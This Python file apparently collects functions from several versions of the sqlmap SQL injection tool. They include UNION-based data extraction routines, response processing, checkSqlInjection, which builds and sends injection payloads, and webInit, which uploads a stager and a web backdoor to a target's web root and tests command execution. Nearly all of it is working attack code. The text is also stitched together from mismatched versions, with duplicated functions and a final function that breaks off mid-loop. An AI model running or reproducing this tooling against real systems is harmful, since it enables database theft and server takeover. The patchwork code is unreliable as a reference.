def decodePage(page, contentEncoding, contentType):
"""
Decode compressed/charset HTTP response
"""
if not page or (conf.nullConnection and len(page) < 2):
return getUnicode(page)
if isinstance(contentEncoding, basestring) and contentEncoding.lower() in ('gzip', 'x-gzip', 'deflate'):
if contentEncoding == 'deflate':
# http://stackoverflow.com/questions/1089662/python-inflate-and-deflate-implementations
data = StringIO.StringIO(zlib.decompress(page, -15))
else:
data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(page))
page = data.read()
charset = None
# http://stackoverflow.com/questions/1020892/python-urllib2-read-to-unicode
if contentType and (contentType.find('charset=') != -1):
charset = contentType.split('charset=')[-1]
elif extractRegexResult(META_CHARSET_REGEX, page, re.DOTALL | re.IGNORECASE):
charset = extractRegexResult(META_CHARSET_REGEX, page, re.DOTALL | re.IGNORECASE)
charset = checkCharEncoding(charset)
kb.pageEncoding = charset or DEFAULT_PAGE_ENCODING
if contentType and any(map(lambda x: x in contentType.lower(), ('text/txt', 'text/raw', 'text/html', 'text/xml'))):
# can't do for all responses because we need to support binary files too
page = getUnicode(page, kb.pageEncoding)
return page
def __oneShotUnionUse(expression, unpack=True, limited=False):
global reqCount
retVal = conf.hashDB.retrieve(expression) if not any([conf.flushSession, conf.freshQueries]) else None
threadData = getCurrentThreadData()
threadData.resumed = retVal is not None
if retVal is None:
check = "(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop)
trimcheck = "%s(?P<result>.*?)</" % (kb.chars.start)
# Prepare expression with delimiters
injExpression = agent.concatQuery(expression, unpack)
injExpression = unescaper.unescape(injExpression)
if conf.limitStart or conf.limitStop:
where = PAYLOAD.WHERE.NEGATIVE
else:
where = None
# Forge the inband SQL injection request
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
query = agent.forgeInbandQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], None, limited)
payload = agent.payload(newValue=query, where=where)
# Perform the request
page, headers = Request.queryPage(payload, content=True, raise404=False)
reqCount += 1
# Parse the returned page to get the exact union-based
# sql injection output
retVal = reduce(lambda x, y: x if x is not None else y, [ \
extractRegexResult(check, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \
extractRegexResult(check, removeReflectiveValues(listToStrValue(headers.headers \
if headers else None), payload, True), re.DOTALL | re.IGNORECASE)], \
None)
if retVal is not None:
retVal = getUnicode(retVal, kb.pageEncoding)
else:
trimmed = extractRegexResult(trimcheck, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE) \
or extractRegexResult(trimcheck, removeReflectiveValues(listToStrValue(headers.headers \
if headers else None), payload, True), re.DOTALL | re.IGNORECASE)
if trimmed:
warnMsg = "possible server trimmed output detected (due to its length): "
warnMsg += trimmed
logger.warn(warnMsg)
elif Backend.isDbms(DBMS.MYSQL) and not kb.multiThreadMode:
warnMsg = "if the problem persists with 'None' values please try to use "
warnMsg += "hidden switch --no-cast (fixing problems with some collation "
warnMsg += "issues)"
singleTimeWarnMessage(warnMsg)
conf.hashDB.write(expression, retVal)
return retVal
def __oneShotUnionUse(expression, unpack=True, limited=False):
retVal = hashDBRetrieve("%s%s" % (conf.hexConvert, expression), checkConf=True) # as inband data is stored raw unconverted
threadData = getCurrentThreadData()
threadData.resumed = retVal is not None
if retVal is None:
check = "(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop)
trimcheck = "%s(?P<result>.*?)</" % (kb.chars.start)
# Prepare expression with delimiters
injExpression = unescaper.unescape(agent.concatQuery(expression, unpack))
where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else None
# Forge the inband SQL injection request
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
kb.unionDuplicates = vector[7]
query = agent.forgeInbandQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)
payload = agent.payload(newValue=query, where=where)
# Perform the request
page, headers = Request.queryPage(payload, content=True, raise404=False)
incrementCounter(PAYLOAD.TECHNIQUE.UNION)
# Parse the returned page to get the exact union-based
# SQL injection output
retVal = reduce(lambda x, y: x if x is not None else y, ( \
extractRegexResult(check, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \
extractRegexResult(check, removeReflectiveValues(listToStrValue(headers.headers \
if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \
None)
if retVal is not None:
retVal = getUnicode(retVal, kb.pageEncoding)
# Special case when DBMS is Microsoft SQL Server and error message is used as a result of inband injection
if Backend.isDbms(DBMS.MSSQL) and wasLastRequestDBMSError():
retVal = htmlunescape(retVal).replace("<br>", "\n")
hashDBWrite("%s%s" % (conf.hexConvert, expression), retVal)
else:
trimmed = extractRegexResult(trimcheck, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE) \
or extractRegexResult(trimcheck, removeReflectiveValues(listToStrValue(headers.headers \
if headers else None), payload, True), re.DOTALL | re.IGNORECASE)
if trimmed:
warnMsg = "possible server trimmed output detected (due to its length): "
warnMsg += trimmed
logger.warn(warnMsg)
return retVal
def _(regex):
return reduce(
lambda x, y: x if x is not None else y,
(
extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE),
extractRegexResult(
regex,
removeReflectiveValues(listToStrValue(headers.headers if headers else None), payload, True),
re.DOTALL | re.IGNORECASE,
),
),
None,
)
def __randomFillBlankFields(value):
retVal = value
if extractRegexResult(EMPTY_FORM_FIELDS_REGEX, value):
message = "do you want to fill blank fields with random values? [Y/n] "
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
while extractRegexResult(EMPTY_FORM_FIELDS_REGEX, retVal):
item = extractRegexResult(EMPTY_FORM_FIELDS_REGEX, retVal)
if item[-1] == DEFAULT_GET_POST_DELIMITER:
retVal = retVal.replace(item, "%s%s%s" % (item[:-1], randomStr(), DEFAULT_GET_POST_DELIMITER))
else:
retVal = retVal.replace(item, "%s%s" % (item, randomStr()))
return retVal
def processResponse(page, responseHeaders):
kb.processResponseCounter += 1
page = page or ""
parseResponse(page, responseHeaders if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None)
if not kb.tableFrom and Backend.getIdentifiedDbms() in (DBMS.ACCESS,):
kb.tableFrom = extractRegexResult(SELECT_FROM_TABLE_REGEX, page)
if conf.parseErrors:
msg = extractErrorMessage(page)
if msg:
logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.'))
if kb.originalPage is None:
for regex in (EVENTVALIDATION_REGEX, VIEWSTATE_REGEX):
match = re.search(regex, page)
if match and PLACE.POST in conf.parameters:
name, value = match.groups()
if PLACE.POST in conf.paramDict and name in conf.paramDict[PLACE.POST]:
if conf.paramDict[PLACE.POST][name] in page:
continue
conf.paramDict[PLACE.POST][name] = value
conf.parameters[PLACE.POST] = re.sub("(?i)(%s=)[^&]+" % name, r"\g<1>%s" % value, conf.parameters[PLACE.POST])
if re.search(BLOCKED_IP_REGEX, page):
errMsg = "it appears that you have been blocked by the target server"
singleTimeLogMessage(errMsg, logging.ERROR)
def extractPayload(self, inpStr):
"""
Extracts payload from inside of the input string
"""
_ = re.escape(PAYLOAD_DELIMITER)
return extractRegexResult("(?s)%s(?P<result>.*?)%s" % (_, _), inpStr)
def processResponse(page, responseHeaders, status=None):
kb.processResponseCounter += 1
page = page or ""
parseResponse(page, responseHeaders if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None, status)
if not kb.tableFrom and Backend.getIdentifiedDbms() in (DBMS.ACCESS,):
kb.tableFrom = extractRegexResult(SELECT_FROM_TABLE_REGEX, page)
else:
kb.tableFrom = None
if conf.parseErrors:
msg = extractErrorMessage(page)
if msg:
logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.'))
if kb.originalPage is None:
for regex in (EVENTVALIDATION_REGEX, VIEWSTATE_REGEX):
match = re.search(regex, page)
if match and PLACE.POST in conf.parameters:
name, value = match.groups()
if PLACE.POST in conf.paramDict and name in conf.paramDict[PLACE.POST]:
if conf.paramDict[PLACE.POST][name] in page:
continue
else:
msg = "do you want to automatically adjust the value of '%s'? [y/N]" % name
if not readInput(msg, default='N', boolean=True):
continue
conf.paramDict[PLACE.POST][name] = value
conf.parameters[PLACE.POST] = re.sub(r"(?i)(%s=)[^&]+" % re.escape(name), r"\g<1>%s" % value.replace('\\', r'\\'), conf.parameters[PLACE.POST])
if not kb.browserVerification and re.search(r"(?i)browser.?verification", page or ""):
kb.browserVerification = True
warnMsg = "potential browser verification protection mechanism detected"
if re.search(r"(?i)CloudFlare", page):
warnMsg += " (CloudFlare)"
singleTimeWarnMessage(warnMsg)
if not kb.captchaDetected and re.search(r"(?i)captcha", page or ""):
for match in re.finditer(r"(?si)<form.+?</form>", page):
if re.search(r"(?i)captcha", match.group(0)):
kb.captchaDetected = True
warnMsg = "potential CAPTCHA protection mechanism detected"
if re.search(r"(?i)<title>[^<]*CloudFlare", page):
warnMsg += " (CloudFlare)"
singleTimeWarnMessage(warnMsg)
break
if re.search(BLOCKED_IP_REGEX, page):
warnMsg = "it appears that you have been blocked by the target server"
singleTimeWarnMessage(warnMsg)
def __randomFillBlankFields(value):
retVal = value
if extractRegexResult(EMPTY_FORM_FIELDS_REGEX, value):
message = "do you want to fill blank fields with random values? [Y/n] "
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
for match in re.finditer(EMPTY_FORM_FIELDS_REGEX, retVal):
item = match.group("result")
if not any(_ in item for _ in IGNORE_PARAMETERS):
if item[-1] == DEFAULT_GET_POST_DELIMITER:
retVal = retVal.replace(item, "%s%s%s" % (item[:-1], randomStr(), DEFAULT_GET_POST_DELIMITER))
else:
retVal = retVal.replace(item, "%s%s" % (item, randomStr()))
return retVal
def _randomFillBlankFields(value):
retVal = value
if extractRegexResult(EMPTY_FORM_FIELDS_REGEX, value):
message = "do you want to fill blank fields with random values? [Y/n] "
if readInput(message, default='Y', boolean=True):
for match in re.finditer(EMPTY_FORM_FIELDS_REGEX, retVal):
item = match.group("result")
if not any(_ in item for _ in IGNORE_PARAMETERS) and not re.search(ASP_NET_CONTROL_REGEX, item):
if item[-1] == DEFAULT_GET_POST_DELIMITER:
retVal = retVal.replace(item, "%s%s%s" % (item[:-1], randomStr(), DEFAULT_GET_POST_DELIMITER))
else:
retVal = retVal.replace(item, "%s%s" % (item, randomStr()))
return retVal
def unionThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
kb.locks.limits.acquire()
try:
num = threadData.shared.limits.next()
except StopIteration:
break
finally:
kb.locks.limits.release()
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
field = expressionFieldsList[0]
elif Backend.isDbms(DBMS.ORACLE):
field = expressionFieldsList
else:
field = None
limitedExpr = agent.limitQuery(num, expression, field)
output = resume(limitedExpr, None)
if not output:
output = __oneShotUnionUse(limitedExpr, unpack, True)
if not kb.threadContinue:
break
if output:
if all(map(lambda x: x in output, [kb.chars.start, kb.chars.stop])):
items = extractRegexResult(r'%s(?P<result>.*?)%s' % (kb.chars.start, kb.chars.stop), output, re.DOTALL | re.IGNORECASE).split(kb.chars.delimiter)
kb.locks.value.acquire()
threadData.shared.value.append(items[0] if len(items) == 1 else items)
kb.locks.value.release()
else:
items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter)
if conf.verbose == 1:
status = "[%s] [INFO] %s: %s\r\n" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(",".join(map(lambda x: "\"%s\"" % x, items))))
if len(status) > width:
status = "%s..." % status[:width - 3]
kb.locks.ioLock.acquire()
dataToStdout(status, True)
kb.locks.ioLock.release()
def processResponse(page, responseHeaders):
kb.processResponseCounter += 1
page = page or ""
parseResponse(page, responseHeaders if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None)
if not kb.tableFrom and Backend.getIdentifiedDbms() in (DBMS.ACCESS,):
kb.tableFrom = extractRegexResult(SELECT_FROM_TABLE_REGEX, page)
if conf.parseErrors:
msg = extractErrorMessage(page)
if msg:
logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.'))
if kb.originalPage is None:
for regex in (EVENTVALIDATION_REGEX, VIEWSTATE_REGEX):
match = re.search(regex, page)
if match and PLACE.POST in conf.parameters:
name, value = match.groups()
if PLACE.POST in conf.paramDict and name in conf.paramDict[PLACE.POST]:
if conf.paramDict[PLACE.POST][name] in page:
continue
conf.paramDict[PLACE.POST][name] = value
conf.parameters[PLACE.POST] = re.sub("(?i)(%s=)[^&]+" % name, r"\g<1>%s" % value, conf.parameters[PLACE.POST])
if not kb.captchaDetected and re.search(r"(?i)captcha", page or ""):
for match in re.finditer(r"(?si)<form.+?</form>", page):
if re.search(r"(?i)captcha", match.group(0)):
kb.captchaDetected = True
warnMsg = "potential CAPTCHA protection mechanism detected"
singleTimeWarnMessage(warnMsg)
break
if re.search(BLOCKED_IP_REGEX, page):
warnMsg = "it appears that you have been blocked by the target server"
singleTimeWarnMessage(warnMsg)
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
default = None
choices = list(getPublicTypeMembers(WEB_API, True))
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" % len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
directories = list(arrayizeValue(getManualDirectories()))
directories.extend(getAutoDirectories())
directories = list(oset(directories))
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi))
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
success = False
for directory in directories:
if not directory:
continue
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
uploaded = False
directory = ntToPosixSlashes(normalizePath(directory))
if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'):
directory = "/%s" % directory
else:
directory = directory[2:] if isWindowsDriveLetterPath(directory) else directory
if not directory.endswith('/'):
directory += '/'
# Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via LIMIT 'LINES TERMINATED BY' method"
logger.info(infoMsg)
self._webFileInject(stagerContent, stagerName, directory)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
# Fall-back to UNION queries file upload method
if not uploaded:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % directory
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via UNION method"
logger.info(infoMsg)
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
handle, filename = mkstemp()
os.fdopen(handle).close() # close low level handle (causing problems later)
with open(filename, "w+") as f:
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
_ = _.replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
f.write(utf8encode(_))
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
if not uploaded:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % directory
warnMsg += "but not dynamically interpreted"
logger.warn(warnMsg)
continue
elif self.webApi == WEB_API.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == WEB_API.ASP:
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
_ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)):
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'))
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
getOutput = readInput(message, default="Y")
if getOutput in ("y", "Y"):
self._webFileInject(backdoorContent, backdoorName, directory)
else:
continue
self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName)
self.webDirectory = directory
self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName)
testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr)
if output == "0":
warnMsg = "the backdoor has been uploaded but required privileges "
warnMsg += "for running the system commands are missing"
raise SqlmapNoneDataException(warnMsg)
elif output and testStr in output:
infoMsg = "the backdoor has been successfully "
else:
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
success = True
break
def _oneShotUnionUse(expression, unpack=True, limited=False):
retVal = hashDBRetrieve("%s%s" % (conf.hexConvert or False, expression), checkConf=True) # as UNION data is stored raw unconverted
threadData = getCurrentThreadData()
threadData.resumed = retVal is not None
if retVal is None:
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
if not kb.rowXmlMode:
injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
kb.unionDuplicates = vector[7]
kb.forcePartialUnion = vector[8]
query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)
where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6]
else:
where = vector[6]
query = agent.forgeUnionQuery(expression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False)
payload = agent.payload(newValue=query, where=where)
# Perform the request
page, headers, _ = Request.queryPage(payload, content=True, raise404=False)
incrementCounter(PAYLOAD.TECHNIQUE.UNION)
if not kb.rowXmlMode:
# Parse the returned page to get the exact UNION-based
# SQL injection output
def _(regex):
return reduce(lambda x, y: x if x is not None else y, (\
extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \
extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \
if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \
None)
# Automatically patching last char trimming cases
if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""):
warnMsg = "automatically patching output having last char trimmed"
singleTimeWarnMessage(warnMsg)
page = page.replace(kb.chars.stop[:-1], kb.chars.stop)
retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop))
else:
output = extractRegexResult(r"(?P<result>(<row.+?/>)+)", page)
if output:
try:
root = xml.etree.ElementTree.fromstring("<root>%s</root>" % output.encode(UNICODE_ENCODING))
retVal = ""
for column in kb.dumpColumns:
base64 = True
for child in root:
value = child.attrib.get(column, "").strip()
if value and not re.match(r"\A[a-zA-Z0-9+/]+={0,2}\Z", value):
base64 = False
break
try:
value.decode("base64")
except binascii.Error:
base64 = False
break
if base64:
for child in root:
child.attrib[column] = child.attrib.get(column, "").decode("base64") or NULL
for child in root:
row = []
for column in kb.dumpColumns:
row.append(child.attrib.get(column, NULL))
retVal += "%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(row), kb.chars.stop)
except:
pass
else:
retVal = getUnicode(retVal)
if retVal is not None:
retVal = getUnicode(retVal, kb.pageEncoding)
# Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection
if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError():
retVal = htmlunescape(retVal).replace("<br>", "\n")
hashDBWrite("%s%s" % (conf.hexConvert or False, expression), retVal)
elif not kb.rowXmlMode:
trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start))
if trimmed:
warnMsg = "possible server trimmed output detected "
warnMsg += "(probably due to its length and/or content): "
warnMsg += safecharencode(trimmed)
logger.warn(warnMsg)
else:
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
kb.unionDuplicates = vector[7]
return retVal
def checkSqlInjection(place, parameter, value):
# Store here the details about boundaries and payload used to
# successfully inject
injection = InjectionDict()
# Localized thread data needed for some methods
threadData = getCurrentThreadData()
# Set the flag for SQL injection test mode
kb.testMode = True
for test in getSortedInjectionTests():
try:
if kb.endDetection:
break
title = test.title
stype = test.stype
clause = test.clause
unionExtended = False
if stype == PAYLOAD.TECHNIQUE.UNION:
configUnion(test.request.char)
if "[CHAR]" in title:
if conf.uChar is None:
continue
else:
title = title.replace("[CHAR]", conf.uChar)
elif "[RANDNUM]" in title or "(NULL)" in title:
title = title.replace("[RANDNUM]", "random number")
if test.request.columns == "[COLSTART]-[COLSTOP]":
if conf.uCols is None:
continue
else:
title = title.replace("[COLSTART]", str(conf.uColsStart))
title = title.replace("[COLSTOP]", str(conf.uColsStop))
elif conf.uCols is not None:
debugMsg = "skipping test '%s' because the user " % title
debugMsg += "provided custom column range %s" % conf.uCols
logger.debug(debugMsg)
continue
match = re.search(r"(\d+)-(\d+)", test.request.columns)
if injection.data and match:
lower, upper = int(match.group(1)), int(match.group(2))
for _ in (lower, upper):
if _ > 1:
unionExtended = True
test.request.columns = re.sub(r"\b%d\b" % _, str(2 * _), test.request.columns)
title = re.sub(r"\b%d\b" % _, str(2 * _), title)
test.title = re.sub(r"\b%d\b" % _, str(2 * _), test.title)
# Skip test if the user's wants to test only for a specific
# technique
if conf.tech and isinstance(conf.tech, list) and stype not in conf.tech:
debugMsg = "skipping test '%s' because the user " % title
debugMsg += "specified to test only for "
debugMsg += "%s techniques" % " & ".join(map(lambda x: PAYLOAD.SQLINJECTION[x], conf.tech))
logger.debug(debugMsg)
continue
# Skip test if it is the same SQL injection type already
# identified by another test
if injection.data and stype in injection.data:
debugMsg = "skipping test '%s' because " % title
debugMsg += "the payload for %s has " % PAYLOAD.SQLINJECTION[stype]
debugMsg += "already been identified"
logger.debug(debugMsg)
continue
# Skip tests if title is not included by the given filter
if conf.testFilter:
if not any(re.search(conf.testFilter, str(item), re.I) for item in (test.title, test.vector,\
test.details.dbms if "details" in test and "dbms" in test.details else "")):
debugMsg = "skipping test '%s' because " % title
debugMsg += "its name/vector/dbms is not included by the given filter"
logger.debug(debugMsg)
continue
else:
# Skip test if the risk is higher than the provided (or default)
# value
# Parse test's <risk>
if test.risk > conf.risk:
debugMsg = "skipping test '%s' because the risk (%d) " % (title, test.risk)
debugMsg += "is higher than the provided (%d)" % conf.risk
logger.debug(debugMsg)
continue
# Skip test if the level is higher than the provided (or default)
# value
# Parse test's <level>
if test.level > conf.level:
debugMsg = "skipping test '%s' because the level (%d) " % (title, test.level)
debugMsg += "is higher than the provided (%d)" % conf.level
logger.debug(debugMsg)
continue
# Skip DBMS-specific test if it does not match either the
# previously identified or the user's provided DBMS (either
# from program switch or from parsed error message(s))
if "details" in test and "dbms" in test.details:
dbms = test.details.dbms
else:
dbms = None
if dbms is not None:
if injection.dbms is not None and not intersect(injection.dbms, dbms):
debugMsg = "skipping test '%s' because " % title
debugMsg += "the back-end DBMS identified is "
debugMsg += "%s" % injection.dbms
logger.debug(debugMsg)
continue
if conf.dbms is not None and not intersect(conf.dbms.lower(), [value.lower() for value in arrayizeValue(dbms)]):
debugMsg = "skipping test '%s' because " % title
debugMsg += "the provided DBMS is %s" % conf.dbms
logger.debug(debugMsg)
continue
if conf.dbms is None and len(Backend.getErrorParsedDBMSes()) > 0 and not intersect(dbms, Backend.getErrorParsedDBMSes()) and kb.skipOthersDbms is None:
msg = "parsed error message(s) showed that the "
msg += "back-end DBMS could be %s. " % Format.getErrorParsedDBMSes()
msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
if readInput(msg, default="Y") in ("y", "Y"):
kb.skipOthersDbms = Backend.getErrorParsedDBMSes()
else:
kb.skipOthersDbms = []
if kb.skipOthersDbms and not intersect(dbms, kb.skipOthersDbms):
debugMsg = "skipping test '%s' because " % title
debugMsg += "the parsed error message(s) showed "
debugMsg += "that the back-end DBMS could be "
debugMsg += "%s" % Format.getErrorParsedDBMSes()
logger.debug(debugMsg)
continue
# Skip test if it does not match the same SQL injection clause
# already identified by another test
clauseMatch = False
for clauseTest in clause:
if injection.clause is not None and clauseTest in injection.clause:
clauseMatch = True
break
if clause != [0] and injection.clause and injection.clause != [0] and not clauseMatch:
debugMsg = "skipping test '%s' because the clauses " % title
debugMsg += "differs from the clause already identified"
logger.debug(debugMsg)
continue
# Skip test if the user provided custom character
if conf.uChar is not None and ("random number" in title or "(NULL)" in title):
debugMsg = "skipping test '%s' because the user " % title
debugMsg += "provided a specific character, %s" % conf.uChar
logger.debug(debugMsg)
continue
infoMsg = "testing '%s'" % title
logger.info(infoMsg)
# Force back-end DBMS according to the current
# test value for proper payload unescaping
Backend.forceDbms(dbms[0] if isinstance(dbms, list) else dbms)
# Parse test's <request>
comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None
fstPayload = agent.cleanupPayload(test.request.payload, origValue=value)
# Favoring non-string specific boundaries in case of digit-like parameter values
if value.isdigit():
boundaries = sorted(copy.deepcopy(conf.boundaries), key=lambda x: any(_ in (x.prefix or "") or _ in (x.suffix or "") for _ in ('"', '\'')))
else:
boundaries = conf.boundaries
for boundary in boundaries:
injectable = False
# Skip boundary if the level is higher than the provided (or
# default) value
# Parse boundary's <level>
if boundary.level > conf.level:
continue
# Skip boundary if it does not match against test's <clause>
# Parse test's <clause> and boundary's <clause>
clauseMatch = False
for clauseTest in test.clause:
if clauseTest in boundary.clause:
clauseMatch = True
break
if test.clause != [0] and boundary.clause != [0] and not clauseMatch:
continue
# Skip boundary if it does not match against test's <where>
# Parse test's <where> and boundary's <where>
whereMatch = False
for where in test.where:
if where in boundary.where:
whereMatch = True
break
if not whereMatch:
continue
# Parse boundary's <prefix>, <suffix> and <ptype>
prefix = boundary.prefix if boundary.prefix else ""
suffix = boundary.suffix if boundary.suffix else ""
# Options --prefix/--suffix have a higher priority (if set by user)
prefix = conf.prefix if conf.prefix is not None else prefix
suffix = conf.suffix if conf.suffix is not None else suffix
comment = None if conf.suffix is not None else comment
ptype = boundary.ptype
# If the previous injections succeeded, we know which prefix,
# suffix and parameter type to use for further tests, no
# need to cycle through the boundaries for the following tests
condBound = (injection.prefix is not None and injection.suffix is not None)
condBound &= (injection.prefix != prefix or injection.suffix != suffix)
condType = injection.ptype is not None and injection.ptype != ptype
if condBound or condType:
continue
# For each test's <where>
for where in test.where:
templatePayload = None
vector = None
# Threat the parameter original value according to the
# test's <where> tag
if where == PAYLOAD.WHERE.ORIGINAL:
origValue = value
elif where == PAYLOAD.WHERE.NEGATIVE:
# Use different page template than the original
# one as we are changing parameters value, which
# will likely result in a different content
if conf.invalidLogical:
origValue = "%s AND %s=%s" % (origValue, randomInt(), randomInt())
elif conf.invalidBignum:
origValue = "%d.%d" % (randomInt(6), randomInt(1))
else:
origValue = "-%s" % randomInt()
templatePayload = agent.payload(place, parameter, newValue=origValue, where=where)
elif where == PAYLOAD.WHERE.REPLACE:
origValue = ""
kb.pageTemplate, kb.errorIsNone = getPageTemplate(templatePayload, place)
# Forge request payload by prepending with boundary's
# prefix and appending the boundary's suffix to the
# test's ' <payload><comment> ' string
boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause)
boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
# Perform the test's request and check whether or not the
# payload was successful
# Parse test's <response>
for method, check in test.response.items():
